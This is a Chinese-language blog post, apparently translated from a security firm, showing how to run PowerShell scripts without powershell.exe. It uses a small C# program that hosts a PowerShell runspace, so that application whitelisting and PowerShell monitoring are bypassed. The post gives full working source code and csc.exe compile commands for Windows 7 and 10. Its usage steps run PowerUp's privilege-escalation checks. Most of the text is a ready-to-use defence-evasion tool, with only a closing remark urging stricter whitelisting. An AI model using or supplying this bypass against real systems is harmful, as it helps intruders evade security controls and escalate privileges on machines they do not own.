绕过PowerShell限制的简化方法

本文介绍了一种通过C#编译程序执行PowerShell脚本的方法,以绕过应用白名单和监控限制。包含详细代码示例、编译指令及使用步骤,适用于受限环境下的脚本执行。

PowerShell w/o PowerShell 简化版

在之前的文章《无PowerShell的PowerShell》中,我们展示了如何绕过应用白名单软件(AWS)、PowerShell限制/监控以及命令提示符限制。在某些情况下,您可能不需要全部功能;可能只需要一种方法来绕过PowerShell限制和/或监控。本文为上述场景提供了一个简单的解决方案。这种方法并不新颖,但本文试图以简明直接的方式呈现。

内容分为以下部分:

  • 代码:此解决方案所需的代码
  • 编译:依赖于操作系统的编译命令
  • 使用:关于编译、PowerShell文件的特殊配置以及程序和PowerShell脚本执行的说明

代码 (prog.cs)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//Usage: prog.exe "path_to_powershell_file"
using System;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;
public class Program
{
    public static void Main( string[] args )
    {
     Mycode.Exec( args[ 0 ] );
    }
}
public class Mycode
{
    public static void Exec(string file)
    {
     string command = System.IO.File.ReadAllText( file );
     RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
     Runspace rspace = RunspaceFactory.CreateRunspace( rspacecfg );
     rspace.Open();
     Pipeline pipeline = rspace.CreatePipeline();
     pipeline.Commands.AddScript( command );
     pipeline.Invoke();
    }
}

编译

Windows 7 x64

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\Public\prog.exe C:\Users\Public\prog.cs

Windows 7 x86

1
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\Public\prog.exe C:\Users\Public\prog.cs

Windows 10 x64

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\Public\prog.exe C:\Users\Public\prog.cs

Windows 10 x86

1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\Public\prog.exe C:\Users\Public\prog.cs

使用

  1. 创建一个名为 C:\Users\Public\code.cs 的文件。将上述代码部分的代码复制并粘贴到 code.cs 文件中。
  2. 打开 Windows 命令提示符,并通过复制并粘贴适用于您操作系统的上述命令来编译程序。
  3. 在您希望运行的 PowerShell 脚本中,将通常用于运行脚本的函数调用放在脚本底部。例如,假设您想从 PowerUp.ps1 运行 Invoke-AllChecks。我通常这样做:
    1
    
    Invoke-AllChecks -Verbose | Out-File C:\Users\Public\allchecks.txt
    
    要使用此程序执行相同操作,您需要将上述命令复制并粘贴到 PowerUp.ps1 文件的底部。
  4. 将函数调用放置在目标 PowerShell 脚本底部后,从 Windows 命令提示符运行以下命令来执行程序和脚本:
    1
    
    C:\Users\Public\prog.exe C:\Users\Public\PowerUp.ps1
    
    注意:您需要将 C:\Users\Public\PowerUp.ps1 更改为您希望运行的 PowerShell 脚本的名称。

结论

这篇简短且(希望)简单的文章提供了一个快速解决方案,用于在 PowerShell 使用受限和/或受监控的环境中执行 PowerShell 脚本。这种方法为公司应考虑在其环境中实施更严格的 AWS 策略提供了更多理由。

加入我们参加 2020 年 9 月 23-25 日在 Deadwood 举行的 Wild West Hackin’ Fest。了解更多:https://www.wildwesthackinfest.com/

准备好学习更多了吗?通过 Antisyphon 的实惠课程提升您的技能!提供实时/虚拟和点播培训。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计